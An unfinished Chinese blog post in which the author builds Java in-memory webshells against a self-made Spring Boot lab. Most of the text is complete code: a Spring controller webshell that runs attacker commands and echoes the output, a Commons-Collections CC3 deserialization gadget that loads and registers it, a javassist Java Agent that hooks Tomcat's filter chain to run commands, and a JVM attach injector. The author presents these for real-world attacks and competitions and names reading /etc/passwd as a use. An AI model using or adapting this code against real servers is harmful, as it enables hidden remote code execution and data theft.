0x00 前言
几个月前就学了内存马,把tomcat、spring、Java Agent三种内存马学完之后就不管不顾,并没有用于实战中。真正在打实战才发现,我对内存马的利用只局限于上传jsp文件。
我反思自己为什么会犯这种错误——学之不能致用,一方面说明我的学习是机械的学习,极大的依赖教程,并没有深刻的理解原理;另一方面,就是没有主动想过用内存马打打实战,甚至是靶场也行。
所以本文将从两个维度综合讨论内存马,也就是原理和实战,这里不再赘叙内存马的基础原理,而是让原理为实战服务。
本文以Spring Conrtoller内存马为例。
0x01 环境
现在比较流行的框架是Spring Boot,所以我选择用Java8 + Spring Boot2.6:

插件带上一个Spring Web,因为本文会结合前端:

Spring Boot各个组件版本如下:
Spring Framework: 5.3.23
Spring Web: 5.3.23
Tomcat: 9.0.68
创建web包,给出hello控制器和反序列化控制器:


0x02 原理
原理说简单也简单,就是把一个恶意组件(本文组件是控制器)打入内存,由于该组件可以被前端触发,我们可以利用该组件随时进行RCE。
内存马的优点有二,一是注入到内存中,常规方法难以发现,在此基础上更近一步的是不死马;二是可以在不出网不回显的情况下于请求包中构造回显,扩大了攻击面。
回到原理。我们要想成功利用Spring Controller内存马进行RCE并把内容回显到响应体,必须满足以下条件:
得到当前的上下文,也就是WebApplicationContext。WebApplicationContext 是 Spring Boot Web 控制器的运行时环境,通过它,我们就可以把Controller内存马动态注册到当前的Web控制器。
实现Controller内存马,该控制器给出一个方法/路由接受恶意参数并返回目标数据到响应包。
写一段Java程序,把内存马注册到WebApplicationContext里,使得当前的Web控制器可以找到该Controller。
事实上,这三步可以整合到一个类的静态代码块,那么只要该类被加载,静态代码块里的内容就会自动执行内存马。在Java反序列化中,TemplatesImpl类可以加载实现了AbstractTranslet接口的类,前面说的三合一类实现该接口就可以了。
0x03 POC
构造EvilController
我们不妨先构造一个简单的恶意控制器(EvilController),也就是内存马的核心部分,通过该控制器,我们给出一个POST参数cmd,就可以让系统执行cmd并将结果回显到响应包。代码如下:

注意这几行代码:
java.io.PrintWriter printWriter = response.getWriter(); :获取HTTP响应的PrintWriter对象,之后把执行命令之后的输出读入到响应体
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); :这里的builder.start()就是在执行系统命令。
现在我们得到了一个可以被利用的恶意控制器,但是该控制器并没有被注册到Spring Boot的Web服务配置中,那么当我们前端访问evilserver路由时,系统找不到对应的控制器。
注册EvilController
注册谁,注册到哪里,怎么注册?注册EvilController,注册到Web服务,至于注册方法,由于专业性较强,我稍微介绍即可。
在Spring MVC框架中,RequestMappingHandlerMapping类可以注册Controller,想要获得前者,需要通过ApplicationContext获取,而WebApplicationContext的获取有好几种方法,我下面就拿一种分析:
1 2
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
|
然后我们获得RequestMappingHandlerMapping类:
1 2
| RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
|
接着我们把Controller注册到RequestMappingHandlerMapping里即可:
1 2 3 4 5 6 7 8 9
| Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, Class.forName("evilController").newInstance(), method);
|
现在我们要把代码整合起来,却发现一个问题,这行代码一定要运行在Web服务里才能得到WebApplicationContext:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
所以接下来有两种思路:
- 单独写一个class被反序列化加载类,触发静态代码块执行注册流程
- 把这段代码就放在EvilController的静态代码块里,因为静态代码块是最新被执行的,所以就相当与先获得WebApplicationContext再进行后面流程
选择第一种,那我们需要单独构造一个类,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.upgraded.test;
import com.sun.org.apache.bcel.internal.generic.ATHROW; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
public class Register extends AbstractTranslet { static { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = null; try { method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0]; } catch (ClassNotFoundException e) { throw new RuntimeException(e); } PatternsRequestCondition url = new PatternsRequestCondition("/evilserver"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); try { r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
选择第二种,就把该类换成EvilController,再往静态代码块里添加注册流程就可以了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| package com.upgraded.web;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.lang.reflect.Method;
public class EvilController extends AbstractTranslet implements Serializable{ static { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = null; try { for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) { if ("evilServer".equals(m.getName())) { method = m; break; } } } catch (ClassNotFoundException e) { throw new RuntimeException(e); } RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration(); config.setPatternParser(r.getPatternParser()); RequestMappingInfo info = RequestMappingInfo .paths("/evilserver") .methods(RequestMethod.GET, RequestMethod.POST) .options(config) .build(); try { r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }
@ResponseBody public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{ if (cmd != null) { try { java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); String s = bufferedReader.readLine(); printWriter.println(s); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } } return "over"; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
接下来就写一个cc3链,其被Web服务里的unser路由接收后,会进行Java反序列化,其中会把EvilController类进行类加载,先触发其静态代码块,其中便注册了EvilController内存马。
先添加依赖:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
写出gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.upgraded.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
import java.util.Base64;
import static org.springframework.util.SerializationUtils.serialize;
public class CC3_payload { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class TemplatesImplClass = templates.getClass(); Field nameField = TemplatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_nameIsHere");
Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
byte[] serialize = serialize(annotationInvocationHandler); System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] ser) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser)); return (T) in.readObject(); }
}
|
在实战中,如果一个反序列化入口没有回显也不能出网,我们就可以运行CC3_payload,把base64编码后的payload喂给反序列化入口,后端会从解码后的payload中类加载EvilController,后者的静态代码块执行,该Controller被成功注册,我们最后访问/evilserver,传参cmd即可。结果如下:

在实战中,我们可以cat /etc/passwd等等,最后的输出回到响应体。
其实在编写POC的时候遇到很多错误,大致有下,具体就不展开说说了:
- Spring Boot 不使用传统的 ContextLoaderListener,需要从请求上下文获取 WebApplicationContext
- Spring 5.3+ 手动注册路由必须配置 PatternParser
- 修改源码后必须重新编译,否则读取的还是旧字节码
- 方法选择要明确指定名称,不能依赖数组索引顺序
0x04 工具
我们现在可以构造Spring Controller内存马,对比一下也能搞出其他类型的内存马,然后就可以集成为一个工具。出于时间考量,我在短期内并没有集成的想法。但是比赛的时候需要用到内存马,我没有时间慢慢思考调试,所以我需要找到可以快速生成内存马,以及可以把内存马用到Java其他漏洞上的工具。
我最先看到了这个比较有名的工具:pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.

这个工具可以很方便的构造内存马,暂且不管密钥,密码和请求头键值对的设计都是为了增加内存马的隐秘性。但是这个工具存在一个问题,就是不能直接对接Java反序列化,我们必须把编码后的数据再放入TemplatesImpl里。
说到Java反序列化工具,我想起Java Chains,正好我记得其可以对接内存马,一看还真是对接了这个工具,具体参数如下:

拿上面的反序列化入口试试:


AntSwort添加连接:


成功连上:

除此之外,还有一个在线工具:MemShellParty

0x05 延展
要想搞懂内存马,只了解一个Spring Controller内存马是不够的。正好借着这次学习的机会,搞一个属于自己的内存马+反序列化 EXP。
Java Agent 内存马
我发现Java Chains似乎没有内置Java Agent内存马,正好我也忘记的差不多了,就先从Java Agent内存马开始。先假设一个情景,现在我们可以写入任意文件,并且还可以执行任意路径下的jar包(Web 服务以用户 www-data 运行,而 jar包以 app-user 执行,两者权限分离),但是不出网,那么该如何RCE呢?
毫无疑问需要利用jar包RCE,可是由于不出网,同时jar包是以app-user用户执行——我们无法把回显带到响应包。这时,我们需要利用jar包能执行任意代码,想办法往Web服务插入一个内存马制造回显。
这个情景我前面遇到过,但是不知道现在反推的这个情景是否合理严谨,但这并不是本文的重点。本文重点是如何构造一个简洁高效的Java Agent内存马思路和EXP。
简单来说,要实现Java Agent内存马注入,类似有以下步骤:
- 寻找宿主类,宿主类的某个方法是Web服务会频繁调用的
- 编写修改类,该类会修改宿主类的字节码,我们通过该方法重新编写宿主类的方法内容,来实现RCE
- 编写Java Agent类,该类会通过调用修改类来实现上面所说的流程,然后把该类打包成jar
- 上传Java Agent的jar包,再想办法执行一段程序,让前面的jar包执行
这些步骤很繁琐,所以我们可以简化成两个jar包:
- java_agent.jar:有两个类,一个是修改类,一个是Java Agent类(主类)
- attack.jar:只有一个jar包的主类,负责让JavaAgent.jar成功注入的逻辑
我选择的宿主类是org.apache.catalina.core.ApplicationFilterChain,因为Spring Boot基于Tomcat,由于Tomcat的责任链机制,程序会反复调用 ApplicationFilterChain#doFilter方法。
先写一个修改类去修改宿主类方法:EvilTransFormer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import javassist.*;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.IllegalClassFormatException; import java.security.ProtectionDomain;
public class EvilTransFormer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) { return null; }
try{ System.out.println("[Transformer] 开始转换类: " + className); ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath ccp = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); } CtClass ctClass = null; CtMethod ctMethod = null; ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
if (ctClass.isFrozen()) { ctClass.defrost(); }
ctMethod = ctClass.getDeclaredMethod("doFilter"); String code = "{" + "javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)$1;" + "String cmd = request.getParameter(\"cmd\");" + "if (cmd != null){" + " Runtime.getRuntime().exec(cmd);" + "}" + "}"; ctMethod.insertBefore(code); byte[] bytes = ctClass.toBytecode(); ctClass.detach(); System.out.println("[Transformer] 转换完成,返回字节码"); return bytes;
} catch (Exception e) { System.out.println("[Transformer] 转换失败: " + e.getMessage()); e.printStackTrace(); } return null; } }
|
然后再写一个Java Agent类调用该修改类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.instrument.Instrumentation;
public class JavaAgent { public static void agentmain(String args, Instrumentation inst) throws Exception{ Class[] classes = inst.getAllLoadedClasses(); for(Class cls : classes){ if(cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ System.out.println("[Agent] 找到目标类: " + cls.getName()); inst.addTransformer(new EvilTransFormer(), true); inst.retransformClasses(cls); System.out.println("[Agent] 成功注入Transformer到HelloController"); } } } }
|
再把这两个类打包成jar,配置是:
1 2 3 4 5
| Manifest-Version: 1.0 Agent-Class: JavaAgent Can-Redefine-Classes: true Can-Retransform-Classes: true
|
对应的pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.ja</groupId> <artifactId>JavaAgent_java_agent</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27.0-GA</version> </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>3.7.1</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile> </archive> </configuration> </plugin> </plugins> </build>
</project>
|
打包成java_agent.jar,放入该目录:src/main/resources/uploads

再写一个Attack类把java_agent注入到选定的JVM里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor;
import java.io.File; import java.util.List;
public class Attack { public static void main(String[] args) throws Exception{ String workDir = System.getProperty("user.dir"); String agentPath = workDir + File.separator + "src" + File.separator + "main" + File.separator + "resources" + File.separator + "uploads" + File.separator + "java_agent.jar";
File agentFile = new File(agentPath); System.out.println("[*] 当前工作目录: " + workDir); System.out.println("[*] Agent路径: " + agentPath); System.out.println("[*] Agent文件存在: " + agentFile.exists()); System.out.println();
List<VirtualMachineDescriptor> list = VirtualMachine.list(); for(VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().equals("com.JavaAgentApplication")){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); System.out.println("[+] 成功连接到目标JVM: " + vmd.id()); virtualMachine.loadAgent(agentFile.getAbsolutePath()); System.out.println("[+] Agent加载成功!"); virtualMachine.detach(); System.out.println("[+] 已断开连接"); } } } }
|
配置文件如下,生成attack.jar并放到uploads目录下:
1 2 3
| Manifest-Version: 1.0 Main-Class: Attack
|
对应的pom.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion>
<groupId>com.ja</groupId> <artifactId>JavaAgent_attack</artifactId> <version>1.0-SNAPSHOT</version>
<properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties>
<dependencies> <dependency> <groupId>com.sun</groupId> <artifactId>tools</artifactId> <version>1.8.0</version> </dependency> </dependencies>
<build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <version>3.7.1</version> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestFile> src/main/resources/META-INF/MANIFEST.MF </manifestFile> </archive> </configuration> </plugin> </plugins> </build> </project>
|
现在我们有了两个jar:java_agent.jar、attack.jar,按理来说应该把两个jar包上传到Web服务上,但是我是直接放到服务的uploads目录下——简化实验。接下来是让Web服务执行jar包,我写了一个ReadController来实现这个功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| package com.web;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody;
import java.io.BufferedReader; import java.io.File; import java.io.InputStreamReader; import java.io.PrintWriter; import java.io.StringWriter; import java.nio.charset.Charset;
@Controller public class ReadController { @RequestMapping("/read") @ResponseBody public String readAndExecuteJar(@RequestParam("path") String jarPath) throws Exception { StringBuilder output = new StringBuilder(); try { output.append("=== 调试信息 ===\n"); output.append("接收到的路径: ").append(jarPath).append("\n"); output.append("当前工作目录: ").append(System.getProperty("user.dir")).append("\n"); output.append("Java版本: ").append(System.getProperty("java.version")).append("\n"); output.append("系统默认编码: ").append(Charset.defaultCharset()).append("\n"); File jarFile = new File(jarPath); output.append("文件绝对路径: ").append(jarFile.getAbsolutePath()).append("\n"); output.append("文件是否存在: ").append(jarFile.exists()).append("\n"); if (jarFile.exists()) { output.append("文件大小: ").append(jarFile.length()).append(" 字节\n"); output.append("是否可读: ").append(jarFile.canRead()).append("\n"); } output.append("\n"); ProcessBuilder processBuilder = new ProcessBuilder( "java", "-jar", jarFile.getAbsolutePath() ); processBuilder.redirectErrorStream(false); output.append("执行命令: java -jar ").append(jarFile.getAbsolutePath()).append("\n\n"); Process process = processBuilder.start(); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream(), "GBK") ); BufferedReader errorReader = new BufferedReader( new InputStreamReader(process.getErrorStream(), "GBK") ); String line; output.append("=== 标准输出 ===\n"); while ((line = reader.readLine()) != null) { output.append(line).append("\n"); } output.append("\n=== 错误输出 ===\n"); while ((line = errorReader.readLine()) != null) { output.append(line).append("\n"); } int exitCode = process.waitFor(); output.append("\n=== 退出码: ").append(exitCode).append(" ==="); reader.close(); errorReader.close(); } catch (Exception e) { output.append("执行出错: ").append(e.getMessage()).append("\n\n"); output.append("=== 完整异常堆栈 ===\n"); StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); e.printStackTrace(pw); output.append(sw.toString()); } return output.toString(); } }
|
这个控制器的回显和报错功能十分全面,正常比赛不会给这么全面的调试信息。
接下来,我需要让后端调用attack.jar包,该包会把java_agent.jar包注入到指定的JVM里,进而修改ApplicationFilterChain的doFilter方法,这会使得我访问任意控制器前,先调用该方法,而该方法早被改成了木马。接下来复现一下:

然后访问木马,成功执行弹计算器指令:

学到这里,我并不满意,我总结接下来还需要做什么:
- 总结出一般性的java agent内存马注入方法,最好能做出工具(短时间应该不现实)
- 找到java agent内存马注入工具
找到一般性的方法,就是去特性找共性。就EvilTransformer类而言,没什么需要改的,但是有没有平替的类呢?平替类可以是**org.apache.tomcat.websocket.server.WsFilter**,该类被修改的方法也是doFilter。再者,本文所使用的宿主类其实有lambda表达式,如果利用无文件配合JNDI的打法就会报错。
再讨论JavaAgent类,该类没必要修改。但是到了Attack类也就是注入类,我们要确定Spring Boot当前运行的Web服务的启动类,这是一个难题,再加上上传jar包的指定路径也是必须要知道的,所以在白盒的情况下会舒服很多。
我又稍微看了下无文件内存马落地技术:Linux下无文件Java agent探究 - 跳跳糖,出乎所料的复杂,那就直接用现成的工具就可以了:whocansee/FilelessAgentMemShell: 无需文件落地Agent内存马生成器。但是我尝试利用该工具打反序列化,一直失败,迫于没有太多时间,就留待以后研究。
Tomcat 架构
作为一个十分流行的中间件,Tomcat是非常成熟且复杂的,其主要实现下面的两种功能:
处理 Socket 连接,负责网络字节流与 Request 和 Response 对象的转化。
加载并管理 Servlet ,以及处理具体的 Request 请求。
Tomcat使用Connector(连接器)来处理第一点,使用Container(容器)来处理第二点。我们知道,一个房间可以有多个门,一个服务可以有多个窗口,在这里就是一个容器可以对接多个连接器。
当你启动一个基于Tomcat的Web服务时,你会先启动一个Tomcat实例,叫做Service。不难想到,可以启动多个这样的Web服务,每一个都叫做Service,但是都属于一个Server。而每一个Service下有一个Container,以及其对应的多个Connector。
Container(又称作 Engine)
一个Web服务(Service)可以搭建多个域名,每一个域名都是一个Host,一个Service下可以有多个Host。每一个域名下会有多个路由,每一个路由对应一个Context(上下文)。到这里,我们已经可以确定一个URL了,谁来处理这个URL呢,由Wrapper来处理。
Wrapper是 Servlet 的托管者, 而Servlet技术是 Web 开发的原点。常见的Spring 应用本身就是一个 Servlet(DispatchSevlet),而Tomcat和Jetty这样的Web容器,负责加载和运行Servlet。可以这么说,Spring服务运行在Tomcat之上,或者其基于Tomcat。
Container的架构参考下图:

Connector
前面讲的都是Container里的架构,Connector向Container发送ServletRequest,而Container返回ServletResponse。细心的读者已经发现了,这个的请求和响应并不是HTTP类型的。
事实上,Connector负责接收HTTP请求和返回HTTP响应,但是对其中Web服务的具体处理过程,由Connector将数据处理后交给Container来处理。
Connector的构造参照下图,本文不做具体分析,文末会给出参考文章。

HTTP访问流程
假设一个情景,你要访问一个基于Tomcat的服务:http://a.b.c/hello。
首先,根据协议和端口号可以确定一个Connector,而一个Connector肯定对应一个Service,然后自然就确定了Service下的唯一的Container。
之后,我们知道一个Container存在多个Host,这可以根据URL提供的域名来确定目标Host。
接着,我们再根据URL里的路由(这里就是“hello”)确定对应的Context。
最后,Context 确定后,Mapper 再根据 web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet。
具体流程参照下图:

Spring MVC 九大组件
MVC 模式即 Model-View-Controller(模型-视图-控制器) 模式,由控制器(Controller)、模型(Model)和视图(View)构成,参照下图:

简单来说,HTTP请求发送到控制器,控制器处理相应的服务,如果要管理业务数据和业务逻辑,控制器会调用模型层进行相应处理,最后控制器让视图层给出相应的视图。
简单来说,我通过一个URL:http://xxx.xxx.com/getName?id=3 想拿到自己用户的昵称,控制器收到该HTTP请求,让模型层把id=3对应的用户的昵称拿出来,通过视图层返回给用户。
(还没写完,但是要休息了······)
0x06 结语
内存马内容还有很多,比如其他框架内存马,内存马所属框架结构,内存马查杀等等,日后研究罢。
参考文章:
从零掌握java内存马大全(基于LearnJavaMemshellFromZero复现重组)-先知社区
MVC 模式 | 菜鸟教程